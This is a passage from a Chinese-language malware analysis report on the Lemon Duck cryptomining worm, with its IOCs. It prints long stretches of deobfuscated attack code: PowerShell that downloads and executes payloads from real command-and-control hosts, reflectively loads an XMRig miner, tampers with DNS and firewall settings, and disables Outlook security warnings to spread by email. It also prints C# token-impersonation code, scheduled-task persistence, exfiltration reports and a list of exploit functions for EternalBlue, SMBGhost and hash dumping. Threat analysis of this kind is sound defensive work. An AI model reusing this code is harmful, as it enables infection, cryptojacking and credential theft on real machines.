ComputeHash($con)|foreach{$s+=$_.
ToString(''x2'')};return$s}if(test-path$ifp){$con_=[System.
IO.
File]::ReadAllBytes($ifp);$md5_=gmd5$con_;if($md5_-eq$ifmd5){$noup=1}}if(!
$noup){$con=(New-ObjectNet.
WebClient).
"downloaddata"($down_url+''/'+$fn+''+$params+''');$t=gmd5$con;if($t-eq$ifmd5){[System.
IO.
File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}'}#与上个版本之前的区别在于生成fnam.
exe.
ori文件拷贝为$fnam.
bin.
exe并在CMD后台执行,之前是start-process#反射式加载运行下载的文件functiongpa($fnam){'for($i=0;$i-lt$con.
count-1;$i+=1){if($con[$i]-eq0x0a){break}};iex(-join[char[]]$con[0.
.
$i]);$bin=(New-ObjectIO.
BinaryReader(New-ObjectSystem.
IO.
Compression.
GzipStream(New-ObjectSystem.
IO.
MemoryStream(,$con[($i+1).
.
($con.
count)])),([IO.
Compression.
CompressionMode]::Decompress))).
ReadBytes(10000000);$bin_=$bin.
Clone();$mep=$env:tmp+'''+"\$fnam.
exe.
ori"+''';[System.
IO.
File]::WriteAllBy附录44tes($mep,$bin_+((1.
.
127)|Get-Random-Count100));test1-PEBytes$bin"'+"©/y%tmp%\$fnam.
exe.
ori%tmp%\$fnam.
bin.
exe&%tmp%\$fnam.
bin.
exe"}#判定/获取特定互斥锁是否存在#try{#$localIf=$flase;##创建名为Global\eLocalIf的锁,如果有不再创建#New-ObjectThreading.
Mutex($true,'Global\eLocalIf',[ref]$localIf);#}catch{}functiongcode($fl){'try{$local'+$fl+'=$flase;New-ObjectThreading.
Mutex($true,''Global\eLocal'+$fl+''',[ref]$local'+$fl+')}catch{}'}$code1=gcode"If"IEx$code1#如果是新创建的Global\eLocalIf则运行#$ifp=$env:tmp+'\if.
bin';#$down_url='http://d.
ackng.
com';#functiongmd5($con){#[System.
Security.
Cryptography.
MD5]::Create().
ComputeHash($con)|foreach{附录45#$s+=$_.
ToString('X2')#};#return$s#}##是否存在if.
bin,存在则读取,并进行MD5校验#if(test-path$ifp){#$con_=[System.
IO.
File]::ReadAllBytes($ifp);#$md5_=gmd5$con_;#if($md5_-eq$ifmd5){#$noup=1#}#}##若没有通过MD5,或文件不存在则下载#if(!
$noup){##http://d.
ackng.
com/if.
bin#$con=(New-ObjectNet.
WebClient).
"downloaddata"($down_url+'/if.
bin');#$t=gmd5$con;#if($t-eq$ifmd5){#[System.
IO.
File]::WriteAllBytes($ifp,$con)#}else{$noup=1}#}#if($noup){#$con=$con_;附录46#$ifmd5=$md5_#}##这里有个小细节,若机器上没有if.
bin且下载的if.
bin没有通过MD5校验的则不会执行其包含的命令#IEX(-join[char[]]$con)if($localIf){stp((gcf$code1$ifmd5$ifbin)+'IEX(-join[char[]]$con)"')}#用多函数拼接生成语句,逃避检测#针对64位系统if($is64){#try{#$localMn=$flase;#New-ObjectThreading.
Mutex($true,'Global\eLocalMn',[ref]$localMn)#}catch{}$code2=gcode"Mn"IEx$code2if($localMn){#$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';#$ifp=$env:tmp+'\m6.
bin';#$down_url='http://d.
ackng.
com';#functiongmd5($con){附录47#[System.
Security.
Cryptography.
MD5]::Create().
ComputeHash($con)|foreach{#$s+=$_.
ToString('X2')};#return$s#}#if(test-path$ifp){#$con_=[System.
IO.
File]::ReadAllBytes($ifp);#$md5_=gmd5$con_;#if($md5_-eq$ifmd5){#$noup=1#}#}#if(!
$noup){##http://d.
ackng.
com/m6.
bin#$con=(New-ObjectNet.
WebClient).
"downloaddata"($down_url+'/m6.
bin');#$t=gmd5$con;#if($t-eq$ifmd5){#[System.
IO.
File]::WriteAllBytes($ifp,$con)#}#else{#$noup=1#}#}附录48#if($noup){#$con=$con_;#$ifmd5=$md5_#}####以下是gpa函数生成的代码#for($i=0;$i-lt$con.
count-1;$i+=1){#if($con[$i]-eq0x0a){#break#}#}##以0x0A截断文件,执行前半部分,定义test1函数#iex(-join[char[]]$con[0.
.
$i]);#$bin=(New-ObjectIO.
BinaryReader(New-ObjectSystem.
IO.
Compression.
GzipStream(New-ObjectSystem.
IO.
MemoryStream(,$con[($i+1).
.
($con.
count)])),([IO.
Compression.
CompressionMode]::Decompress))).
ReadBytes(10000000);#$bin_=$bin.
Clone();#test1-PEBytes$bin;#$mep=$env:tmp+'\m6.
bin.
exe';##在挖矿程序后追加随机字节,保存#[System.
IO.
File]::WriteAllBytes($mep,$bin_+((1.
.
127)|Get-Random-Count附录49100));##运行上一步生成的程序#start-process-FilePath$mepstp((gcf$code2$mmd5$mbin)+(gpa$mbin))}}if(($isn-or$isa)-and$is64){$code3=gcode"Mng"#try{#$localMng=$flase;#New-ObjectThreading.
Mutex($true,'Global\eLocalMng',[ref]$localMng)#}catch{}IEx$code3if($localMng){stp((gcf$code3$mgmd5$mgbin)+(gpa$mgbin))}}#修改DNStry{(get-wmiobject-classwin32_networkadapterconfiguration-filteripenabled=true).
SetDNSServerSearchOrder(@('8.
8.
8.
8','9.
9.
9.
9'))}catch{}附录50#携带信息:#系统,系统位数,用户,域,磁盘,显卡,内存,管理员权限,本地蠕虫攻击Payload,本地xmrigPayload,xmrig版本,矿池地址,算力,开机时间,上传时间$params+os,[Int]$is64,$user,$domain,$drive,$card,$mem,[Int]$permit,($lifmd5[0.
.
5]-join""),($lmmd5[0.
.
5]-join""),$mv,$mip,$mhr,$uptime,$timestamp,"0.
1")-join"&")#进行RSA签名校验后执行functionSIEX{Param([string]$url)try{$webclient=New-ObjectNet.
WebClient$finalurl="$url"+""+"$params"try{$webclient.
Headers.
add("User-Agent","Lemon-Duck-"+$Lemon_Duck.
replace(}catch{}$res_bytes=$webclient.
"DownloadData"($finalurl)if($res_bytes.
count-gt173){$sign_bytes=$res_bytes[0.
.
171];$raw_bytes=$res_bytes[173.
.
$res_bytes.
count];$rsaParams=New-ObjectSystem.
Security.
Cryptography.
RSAParameters附录51#公钥2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=$rsaParams.
Modulus=0xda,0x65,0xa8,0xd7,0xbb,0x97,0xbc,0x6d,0x41,0x5e,0x99,0x9d,0x82,0xff,0x2f,0xff,0x73,0x53,0x9a,0x73,0x6e,0x6c,0x7b,0x55,0xeb,0x67,0xd6,0xae,0x4e,0x23,0x3c,0x52,0x3d,0xc0,0xcd,0xcd,0x37,0x6b,0xf3,0x4f,0x3b,0x62,0x70,0x86,0x07,0x96,0x6e,0xca,0xde,0xbd,0xa6,0x4f,0xf6,0x11,0xd1,0x60,0xdc,0x88,0xbf,0x35,0xf2,0x92,0xee,0x6c,0xb8,0x2e,0x9b,0x7d,0x2b,0xd1,0x19,0x30,0x73,0xc6,0x52,0x01,0xcd,0xe7,0xc7,0x34,0x78,0x8a,0xa7,0x9f,0xe2,0x12,0xcd,0x79,0x40,0xa7,0x91,0x6a,0xae,0x95,0x8e,0x42,0xd0,0xcf,0x39,0x6e,0x30,0xcb,0x0a,0x98,0xdb,0x97,0x3f,0xf6,0x2e,0x95,0x10,0x72,0xfd,0x63,0xd5,0xf7,0x88,0x63,0xa4,0x7b,0xae,0x97,0xea,0x38,0xb7,0x47,0x6b,0x5d$rsaParams.
Exponent=0x01,0x00,0x01$rsa=New-Object-TypeNameSystem.
Security.
Cryptography.
RSACryptoServiceProvider;$rsa.
ImportParameters($rsaParams)$base64=-join([char[]]$sign_bytes)$byteArray=[convert]::FromBase64String($base64)$sha1=New-ObjectSystem.
Security.
Cryptography.
SHA1CryptoServiceProviderif($rsa.
verifyData($raw_bytes,$sha1,$byteArray)){附录52IEX(-join[char[]]$raw_bytes)}}}catch{}}SIEX"$core_url/report.
jsp"#flag文件(0kb)$ff=$env:tmp+'\GkPiGedjuq8f91j.
txt'#ff是否存在if(!
(Test-Path$ff)){##打开防护墙设置DNS端口转发cmd.
exe/cnetsh.
exefirewalladdportopeningtcp65529SDNSdnetsh.
exeinterfaceportproxyaddv4tov4listenport=65529connectaddress=1.
1.
1.
1connectport=53cmd.
exe/cnetsh.
exefirewalladdportopeningtcp65533DNSdnetsh.
exeinterfaceportproxyaddv4tov4listenport=65533connectaddress=1.
1.
1.
1connectport=53#禁止445,135的访问netshadvfirewallfirewalladdrulename="deny445"dir=inprotocol=tcplocalport=445action=blocknetshadvfirewallfirewalladdrulename="deny135"dir=inprotocol=tcplocalport=135action=blocknew-item$ff-typefile附录53}#英伟达显卡且64位系统,会下载显卡加速挖矿插件try{if($isn-and$is64){$nd="nvd.
zip"$ndg="$env:tmp\nvdg.
dat"if(!
(test-path$ndg)-or(Get-Item$ndg).
length-ne18475008){(new-objectNet.
WebClient).
"DownloadFile"($down_url+"/$nd","$env:tmp\$nd")(New-Object-ComObjectShell.
Application).
NameSpace($env:tmp).
CopyHere("$env:tmp\$nd\*",16)Remove-Item$env:tmp\$nd}}}catch{}#关闭Outlook的安全告警#当程序尝试访问您的Outlook客户端以代表您发送电子邮件,并且检测到您的防病毒软件处于非活动状态或过期时,将显示此警告消息.
$hks="HKEY_LOCAL_MACHINE\SOFTWARE\"$mso="Microsoft\Office"$wnd="Wow6432Node\"附录54$crm="ClickToRun\REGISTRY\MACHINE\Software\"$paths=@("$hks$mso","$hks$wnd$mso","$hks$mso\$crm$mso","$hks$mso\$crm$wnd$mso")#在32位Windows上运行的32位Office或在64位Windows上运行的64位Office#Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office#在64位Windows上运行的32位Office#Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office#针对即点即用的Office版本#Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office#Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Officeforeach($pathin$paths){if(test-pathRegistry::$path){get-childitemRegistry::$path-name|where-object{$_-match"\d+"-and(Test-PathRegistry::$path\$_\Outlook)}|foreach{$skey="Registry::$path\$_\Outlook\Security"if(!
(Test-Path$skey)){New-Item$skey}附录55Set-ItemProperty$skeyObjectModelGuard2-typeDword$mflag=test-path$skey}}}#关闭告警之后if($mflag){try{$localMail=$flase;New-ObjectThreading.
Mutex($true,'Global\LocalMail',[ref]$localMail)}catch{}if($localMail){if(!
(test-path$env:tmp\godmali3.
txt)){SIEX"$down_url/if_mail.
bin"}}执行过程中开启的本地DNS转发截图如下所示:附录562)if.
bin文件名if.
bin(根据系统环境中的全局互斥锁Global\eLocalIf下载)链接http://d.
ackng[.
]com/if.
binMD5df5c8f7677a3361d17cc1ba820436ce9主要功能主要攻击模块有个细节值得注意,若机器上没有if.
bin且下载的if.
bin没有通过MD5校验(c2fcf4ebba3fbfa1fc4c82e728137076),则一开始不会直接执行if.
bin中包含的命令.
在调查期间if.
bin已经更新十二次之多,变体MD5值如下:00d1474b36d8f9daed96334d957498612c2ce2150f73a4df14b0e83581f68af33053160f2072509f2e167f1e82c7b539附录5745ef8d4faac68bd425bfdfe06460237754bf14b942f61a878b26d5b844ad5ae06a9c39d88715c5262b34a68cea4fa33174eea0ef800d170d79ef7d66c6a97709b5ee1e46de1f709e778c4a53a79c767dc2fcf4ebba3fbfa1fc4c82e728137076def23ff364e25f64342f39d3f64d5aebdf8679bded63cb99fd3bed16bf5a4397e5ae6d154a6befc00deea0ccb49dc9b8if.
bin存在多次混淆加密,通过逆向最终得到一个长达1万多行的powershell脚本,定义多达一百七十多个函数,来进行横向移动.
主要包含以下功能:端口扫描EternalBlue/MS17-010,针对Win7/Win8暴力破解,命令执行(除自身携带字典外,还会将获取本地口令/凭证加入字典):$IPC、SMB、MS-SQL、RDP、NTLM、SSH(2020-06-01新增,针对Linuxroot账号)、WMICVE-2017-8464CVE-2020-0796SMBGhost(2020年4月新增,漏洞在3月才披露)if.
bin中包含许多函数,如下所示:附录58functionmake_smb1_anonymous_login_packetfunctionsmb1_anonymous_loginfunctionnegotiate_proto_requestfunctionsmb_headerfunctionsmb1_get_responsefunctionclient_negotiatefunctiontree_connect_andxfunctiontree_connect_andx_requestfunctionsmb1_anonymous_connect_ipcfunctionmake_smb1_nt_trans_packetfunctionmake_smb1_trans2_exploit_packetfunctionmake_smb1_trans2_last_packetfunctionsend_big_trans2functioncreateSessionAllocNonPagedfunctionmake_smb1_free_hole_session_packetfunctionsmb2_groomsfunctionmake_smb2_payload_headers_packetfunctioneb7functioncreateFakeSrvNetBuffer8functioncreateFeaList8functionmake_smb1_login8_packet8functionmake_ntlm_auth_packet8functionsmb1_login8附录59functionnegotiate_proto_request8functionsmb_header8functionsmb1_get_response8functionclient_negotiate8functiontree_connect_andx8functiontree_connect_andx8_requestfunctionmake_smb1_nt_trans_packet8functionmake_smb1_trans2_exploit_packet8functionsend_big_trans28functioncreateSessionAllocNonPaged8functionmake_smb1_free_hole_session_packet8functionmake_smb2_payload_headers_packet8functioneb8functionInvoke-Myrdpfunctionrdp_sendfunctionrdp_recvfunctionrdp_send_recvfunctionbytes_to_bignumfunctionoutputfunctionrdp_parse_serverdatafunctioncheck_rdpfunctionunpackfunctionpdu_connect_initial附录60functionpdu_erect_domain_requestfunctionpdu_attach_user_requestfunctionpdu_channel_requestfunctionrsa_encryptfunctionpdu_security_exchangefunctionpdu_client_infofunctionpdu_client_confirm_activefunctionpdu_client_persistent_key_listfunctionrdp_salted_hashfunctionrdp_hmacfunctionrdp_rc4_cryptfunctionrdp_final_hashfunctionrdp_calculate_rc4_keysfunctionrdp_encrypted_pktfunctiontry_checkfunctioncheckfunctiongethfunctionLoadApifunctionsid_to_keyfunctionstr_to_keyfunctionNewRC4functiondes_encryptfunctiondes_decrypt附录61functiondes_transformfunctionGet-RegKeyClassfunctionGet-BootKeyfunctionGet-HBootKeyfunctionGet-UserNamefunctionGet-UserHashesfunctionDecryptHashesfunctionDecryptSingleHashfunctionGet-UserKeysfunctionDumpHashesfunctionInvoke-MypassfunctionLGDJSRfunctionGet-WiSDGKDantsfunctionGet-l64ftionfunctionbud-ksgLHDnwnfunctionAdd-SignedIntAsUnsignedfunctionCompare-Val1GreaterThanVal2AsUIntfunctionConvert-UIntToIntfunctionTest-MemoryRangeValidfunctionWrite-BytesToMemoryfunctionGet-DelegateTypefunctionklsdjlkhfDjswpdyfunctionEnable-SeDebugPrivilege附录62functionsadkjhdsjDfunctionGet-ImageNtHeadersfunctionDHWE-kidDfunctionKDHSD-JUWFfunctionHDSK-OUHFfunctionKJSHDeUFHEF7functionCthis-SectioDSnsfunctionLSHDjh3-updfunctionlhsdu-jsdfunctionSDhk34JSDfunctionusdKdhdffunctionKSHDUWKHFfunctionSDHlhuhWEDSDDSfunctionGessKUDBSDfunctionLHSDGUKsdHFfunctionSDLHLESDMEfunctionMainfunctionInvoke-SEfunctionConvertFrom-PacketOrderedDictionaryfunctionNew-PacketNetBIOSSessionServicefunctionNew-PacketSMBHeaderfunctionNew-PacketSMBNegotiateProtocolRequestfunctionNew-PacketSMBSessionSetupAndXRequest附录63functionNew-PacketSMBTreeConnectAndXRequestfunctionNew-PacketSMBNTCreateAndXRequestfunctionNew-PacketSMBReadAndXRequestfunctionNew-PacketSMBWriteAndXRequestfunctionNew-PacketSMBCloseRequestfunctionNew-PacketSMBTreeDisconnectRequestfunctionNew-PacketSMBLogoffAndXRequestfunctionNew-PacketSMB2HeaderfunctionNew-PacketSMB2NegotiateProtocolRequestfunctionNew-PacketSMB2SessionSetupRequestfunctionNew-PacketSMB2TreeConnectRequestfunctionNew-PacketSMB2CreateRequestFilefunctionNew-PacketSMB2ReadRequestfunctionNew-PacketSMB2WriteRequestfunctionNew-PacketSMB2CloseRequestfunctionNew-PacketSMB2TreeDisconnectRequestfunctionNew-PacketSMB2SessionLogoffRequestfunctionNew-PacketNTLMSSPNegotiatefunctionNew-PacketNTLMSSPAuthfunctionNew-PacketRPCBindfunctionNew-PacketRPCRequestfunctionNew-PacketSCMOpenSCManagerWfunctionNew-PacketSCMCreateServiceW附录64functionNew-PacketSCMStartServiceWfunctionNew-PacketSCMDeleteServiceWfunctionNew-PacketSCMCloseServiceHandlefunctionGet-StatusPendingfunctionGet-UInt16DataLengthfunctionInvoke-SMBCfunctionConvertFrom-PacketOrderedDictionaryfunctionNew-PacketNetBIOSSessionServicefunctionNew-PacketSMBHeaderfunctionNew-PacketSMBNegotiateProtocolRequestfunctionNew-PacketSMBSessionSetupAndXRequestfunctionNew-PacketSMB2HeaderfunctionNew-PacketSMB2NegotiateProtocolRequestfunctionNew-PacketSMB2SessionSetupRequestfunctionNew-PacketSMB2TreeConnectRequestfunctionNew-PacketSMB2CreateRequestfunctionNew-PacketSMB2FindRequestFilefunctionNew-PacketSMB2QueryInfoRequestfunctionNew-PacketSMB2ReadRequestfunctionNew-PacketSMB2WriteRequestfunctionNew-PacketSMB2CloseRequestfunctionNew-PacketSMB2TreeDisconnectRequestfunctionNew-PacketSMB2SessionLogoffRequest附录65functionNew-PacketSMB2IoctlRequestfunctionNew-PacketSMB2SetInfoRequestfunctionNew-PacketNTLMSSPNegotiatefunctionNew-PacketNTLMSSPAuthfunctionGet-UInt16DataLengthfunctionInvoke-SMBGhostfunctioncheck_vulfunctioncheckfunctioncopyrunfunctiondb_queryfunctionmssqlrunfunctionsshbrutefunctionisPubIPfunctiongetipaddrsfunctionlocalscan3)m6.
bin文件名m6.
bin(若是64位系统,根据互斥锁(Global\eLocalMn)下载)链接http://d.
ackng[.
]com/m6.
binMD55b2849ff2e8c335dcc60fd2155b2d4d3主要功能Xmrig矿工附录66远程文件m6.
bin中包含Xmrig程序,并以0x0A截断为两部分:前半部分为Powershell脚本,长达2700多行,定义test1函数,及33个子函数,疑似使用https://github.
com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.
ps1.
后半部分PE32+executable(console)x86-64,forMSWindows可执行文件,使用test1反射式注入后半部分的exe文件到Powershell进程里运行,并且会在外部再次运行一次.
4)m6g.
bin文件名m6g.
bin(若是64位系统,且有AMD/NVIDIA的显卡,则根据互斥锁(Global\eLocalMng)下载)链接http://d.
ackng[.
]com/m6g.
binMD523d59ed726e13edabcb751da7a5ce310主要功能Xmrigopenclcuda与m6.
bin的不同,它的API开放端口为http://127.
0.
0.
1:43668/1/summary.
5)if_mail.
bin文件名if_mail.
bin链接http://d.
ackng[.
]com/if_mail.
bin附录67MD588949e6a329c6b2796ddcc81564cee1a主要功能使用Outlook传播生成的恶意文档其部分核心代码如下:#若是管理员权限,创建管道执行mail_codeif(([Security.
Principal.
WindowsPrincipal][Security.
Principal.
WindowsIdentity]::GetCurrent()).
IsInRole([Security.
Principal.
WindowsBuiltInRole]"Administrator")){#powershell-c$pipe=new-objectSystem.
IO.
Pipes.
NamedPipeServerStream(''\\.
\pipe\HHyeuqi7'')#$pipe.
WaitForConnection()#$sr=new-objectSystem.
IO.
StreamReader($pipe)#$cmd=$sr.
ReadToEnd()#$sr.
Dispose()#$pipe.
Dispose()#IEx($cmd)#(new-objectSystem.
IO.
Pipes.
NamedPipeServerStream(''\\.
\pipe\HHyeuqi7'')).
WaitForConnection()$sesscmd='powershell-c$pipe=new-objectSystem.
IO.
Pipes.
NamedPipeServerStream(''\\.
\pipe\HHyeuqi7'');$pipe.
WaitForConnection();$sr=new-objectSystem.
IO.
StreamReader($pipe);$cmd=$sr.
ReadToEnd();$sr.
Dispose();$pipe.
Dispose();IEx($cmd);(new-object附录68System.
IO.
Pipes.
NamedPipeServerStream(''\\.
\pipe\HHyeuqi7'')).
WaitForConnection()'#//使用Windows高级API来获取当前登录用户的访问令牌,以获取到的用户身份执行命令#//这意计算机上所有登录的用户会被发送邮件[Utils.
ProcessExtensions]::EnumSessionsAndExecCmd($sesscmd.
Trim())$pipe=new-objectSystem.
IO.
Pipes.
NamedPipeClientStream("\\.
\pipe\HHyeuqi7");$pipe.
Connect();$sw=new-objectSystem.
IO.
StreamWriter($pipe);$sw.
WriteLine($mail_code);$sw.
Dispose();$pipe.
Dispose()(new-objectSystem.
IO.
Pipes.
NamedPipeClientStream("\\.
\pipe\HHyeuqi7")).
Connect()"Doneandexit.
.
.
"}else{IEx$mail_code}new-item$env:tmp\godmali3.
txt-typefile-force附录69在当前环境中注入一段C#代码,用于调用Windows高级API来获取当前登录用户的访问令牌,以获取到的用户身份执行mail_code包含的命令,这意味着会影响计算机上所有登录用户.
usingSystem;usingSystem.
Runtime.
InteropServices;namespaceUtils{publicstaticclassProcessExtensions{privateconstuintINVALID_SESSION_ID=0xFFFFFFFF;[DllImport("advapi32.
dll",EntryPoint="CreateProcessAsUser",SetLastError=true,CharSet=CharSet.
Ansi,CallingConvention=CallingConvention.
StdCall)]privatestaticexternboolCreateProcessAsUser(IntPtrhToken,StringlpApplicationName,StringlpCommandLine,IntPtrlpProcessAttributes,IntPtrlpThreadAttributes,boolbInheritHandle,uintdwCreationFlags,附录70IntPtrlpEnvironment,StringlpCurrentDirectory,refSTARTUPINFOlpStartupInfo,outPROCESS_INFORMATIONlpProcessInformation);[DllImport("advapi32.
dll",EntryPoint="DuplicateTokenEx")]privatestaticexternboolDuplicateTokenEx(IntPtrExistingTokenHandle,uintdwDesiredAccess,IntPtrlpThreadAttributes,intTokenType,intImpersonationLevel,refIntPtrDuplicateTokenHandle);[DllImport("userenv.
dll",SetLastError=true)]privatestaticexternboolCreateEnvironmentBlock(refIntPtrlpEnvironment,IntPtrhToken,boolbInherit);[DllImport("userenv.
dll",SetLastError=true)][return:MarshalAs(UnmanagedType.
Bool)]privatestaticexternboolDestroyEnvironmentBlock(IntPtrlpEnvironment);[DllImport("kernel32.
dll",SetLastError=true)]privatestaticexternboolCloseHandle(IntPtrhSnapshot);[DllImport("Wtsapi32.
dll",SetLastError=true)]privatestaticexternboolWTSQueryUserToken(uintSessionId,refIntPtrphToken);附录71[DllImport("wtsapi32.
dll",SetLastError=true)]privatestaticexternintWTSEnumerateSessions(IntPtrhServer,intReserved,intVersion,refIntPtrppSessionInfo,refintpCount);[StructLayout(LayoutKind.
Sequential)]privatestructPROCESS_INFORMATION{publicIntPtrhProcess;publicIntPtrhThread;publicuintdwProcessId;publicuintdwThreadId;}[StructLayout(LayoutKind.
Sequential)]privatestructSTARTUPINFO{publicintcb;publicStringlpReserved;publicStringlpDesktop;publicStringlpTitle;publicuintdwX;附录72publicuintdwY;publicuintdwXSize;publicuintdwYSize;publicuintdwXCountChars;publicuintdwYCountChars;publicuintdwFillAttribute;publicuintdwFlags;publicshortwShowWindow;publicshortcbReserved2;publicIntPtrlpReserved2;publicIntPtrhStdInput;publicIntPtrhStdOutput;publicIntPtrhStdError;}privateenumWTS_CONNECTSTATE_CLASS{WTSActive,WTSConnected,WTSConnectQuery,WTSShadow,WTSDisconnected,WTSIdle,WTSListen,附录73WTSReset,WTSDown,WTSInit}[StructLayout(LayoutKind.
Sequential)]privatestructWTS_SESSION_INFO{publicreadonlyUInt32SessionID;[MarshalAs(UnmanagedType.
LPStr)]publicreadonlyStringpWinStationName;publicreadonlyWTS_CONNECTSTATE_CLASSState;}privatestaticvoidStartProcessWithToken(refIntPtrhUserToken,stringcmd){STARTUPINFOstartInfo=newSTARTUPINFO();PROCESS_INFORMATIONprocInfo=newPROCESS_INFORMATION();IntPtrpEnv=IntPtr.
Zero;if(CreateEnvironmentBlock(refpEnv,hUserToken,false)){Console.
WriteLine("CreateEnvironmentBlockSuccess");}startInfo.
cb=Marshal.
SizeOf(typeof(STARTUPINFO));附录74uintdwCreationFlags=0x00000400|0x08000000;//uintdwCreationFlags=0x00000400|0x00000010;startInfo.
wShowWindow=0;startInfo.
dwFlags=1;startInfo.
lpDesktop="winsta0\\default";if(CreateProcessAsUser(hUserToken,"c:\\windows\\system32\\cmd.
exe","/c"+cmd,IntPtr.
Zero,IntPtr.
Zero,false,dwCreationFlags,pEnv,null,refstartInfo,outprocInfo)){Console.
WriteLine("StartProcessSuccess");}else{Console.
WriteLine(Marshal.
GetLastWin32Error());}CloseHandle(hUserToken);附录75CloseHandle(procInfo.
hThread);CloseHandle(procInfo.
hProcess);}publicstaticvoidEnumSessionsAndExecCmd(stringcmd){IntPtrhImpersonationToken=IntPtr.
Zero;IntPtrpSessionInfo=IntPtr.
Zero;intsessionCount=0;intarrayElementSize=Marshal.
SizeOf(typeof(WTS_SESSION_INFO));IntPtrphUserToken=IntPtr.
Zero;if(WTSEnumerateSessions(IntPtr.
Zero,0,1,refpSessionInfo,refsessionCount)!
=0){Int64current=pSessionInfo.
ToInt64();for(inti=0;i其执行代码,规范化后的显示:附录81IEx(New-ObjectNet.
WebClient).
DownLoadString('http://t.
tr2q.
com/7p.
php0.
7*mail_doc*%username%*%computername%*'+[Environment]::OSVersion.
version.
Major);bpu('http://t.
tr2q.
com/mail.
jspdoc_0.
7');del%tmp%/RANDOM.
sct使用OfficeDDE功能进行二次触发:$dde_cmd="powershell[Reflection.
Assembly]::LoadWithPartialName('Microsoft.
VisualBasic');[Microsoft.
VisualBasic.
Interaction]::GetObject('script:%tmp%\$filename').
Exec(0)&"最后生成flag文件,表示已发送过邮件:$env:tmp/godmali3.
txt6)report.
jsp文件名report.
jsp链接http://t.
awcna[.
]com/report.
jspEMOSMAC2077&05DCA6CB-2A44-C943-9E0D-9ABF4B11DCA8&00:1C:42:6E:F5:42&7旗舰版_6.
1.
7601&1&EMo&WORKGROUP&&ParallelsDisplayAdapter(WDDM)&2.
25&1&&5B2849&&&&227546.
396&&0.
1MD56038cd68f69ac785118bb5b0d058b667主要功能写入定时任务blackball附录82report.
jsp携带以下信息:计算机名、GUID、MAC地址、系统、系统位数、用户、域、磁盘、显卡、内存、管理员权限、本地蠕虫攻击Payload、本地xmrigPayload、xmrig版本、矿池地址、算力、开机时间,上传时间.
去除多层混淆后的源代码:#若不存在传播方式变量$v则为mig_20200427if(!
$v){$v='mig_'+(Get-Date-Format'yyyyMMdd')}#$v='mail'$tmps='functiona($u){$d=(Ne`w-Obj`ectNet.
WebC`lient).
"DownloadData"($u);$c=$d.
count;if($c-gt173){$b=$d[173.
.
$c];$p=New-ObjectSecurity.
Cryptography.
RSAParameters;$p.
Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');$p.
Exponent=0x01,0x00,0x01;$r=New-ObjectSecurity.
Cryptography.
RSACryptoServiceProvider;$r.
ImportParameters($p);if($r.
verifyData($b,(New-ObjectSecurity.
Cryptography.
SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0.
.
171])))){I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2'';a($url+''/a.
jsp'+$v+env:COM附录83PUTERNAME,$env:USERNAME,(get-wmiobjectWin32_ComputerSystemProduct).
UUID,(random))-join''*''))'$sa=([Security.
Principal.
WindowsPrincipal][Security.
Principal.
WindowsIdentity]::GetCurrent()).
IsInRole([Security.
Principal.
WindowsBuiltInRole]"Administrator")functiongetRan(){return-join([char[]](48.
.
57+65.
.
90+97.
.
122)|Get-Random-Count(6+(Get-Random)%6))}$us=@('t.
awcna.
com','t.
tr2q.
com','t.
amynx.
com')$stsrv=New-Object-ComObjectSchedule.
Service$stsrv.
Connect()#查看是否已经存在名为blackball的定时任务try{$doit=$stsrv.
GetFolder("\").
GetTask("blackball")}catch{}#若不存在进行if(-not$doit){if($sa){#每120分钟执行blackballschtasks/create/rusystem/scMINUTE/mo120/tnblackball/F/tr"blackball"}else{附录84schtasks/create/scMINUTE/mo120/tnblackball/F/tr"blackball"}foreach($uin$us){$i=[array]::IndexOf($us,$u)#写入计划任务的位置if($i%3-eq0){$tnf=''}if($i%3-eq1){$tnf=getRan}if($i%3-eq2){if($sa){$tnf='MicroSoft\Windows\'+(getRan)}else{$tnf=getRan}}$tn=getRanif($sa){schtasks/create/rusystem/scMINUTE/mo60/tn"$tnf\$tn"/F/tr"powershell-cPS_CMD"}else{schtasks/create/scMINUTE/mo60/tn"$tnf\$tn"/F/tr"powershell-whidden-cPS_CMD"}start-sleep1$folder=$stsrv.
GetFolder("\$tnf")$taskitem=$folder.
GetTasks(1)foreach($taskin$taskitem){foreach($actionin$task.
Definition.
Actions){try{if($action.
Arguments.
Contains("PS_CMD")){附录85$folder.
RegisterTask($task.
Name,$task.
Xml.
replace("PS_CMD",$tmps.
replace('U1',$u.
substring(0,5)).
replace('U2',$u.
substring(5))),4,$null,$null,0,$null)|out-null}}catch{}}}schtasks/run/tn"$tnf\$tn"start-sleep5}}查看是否已经存在名为blackball的定时任务,不存在则创建定时任务执行以获取远程文件a.
jsp.
以下是部分远程脚本中纯为完成信息反馈的URL(访问返回404):http://d.
ackng.
com/report.
jsonhttp://d.
ackng.
com/log.
json#if.
bin(New-ObjectNet.
WebClient).
DownloadString('http://d.
ackng.
com/report.
jsonv='+$VVERSION+'&type=smbhost&ip='+$currip+'&t='+$t)附录86(New-ObjectNet.
WebClient).
DownloadString('http://d.
ackng.
com/report.
jsonv='+$VVERSION+'&type=ms&ip='+$currip+'&pass='+$allpass[$n]+'&t='+$t)##除基础环境信息外还包含每个已执行模块的状态信息(New-ObjectNet.
WebClient).
DownloadString($down_url+'/log.
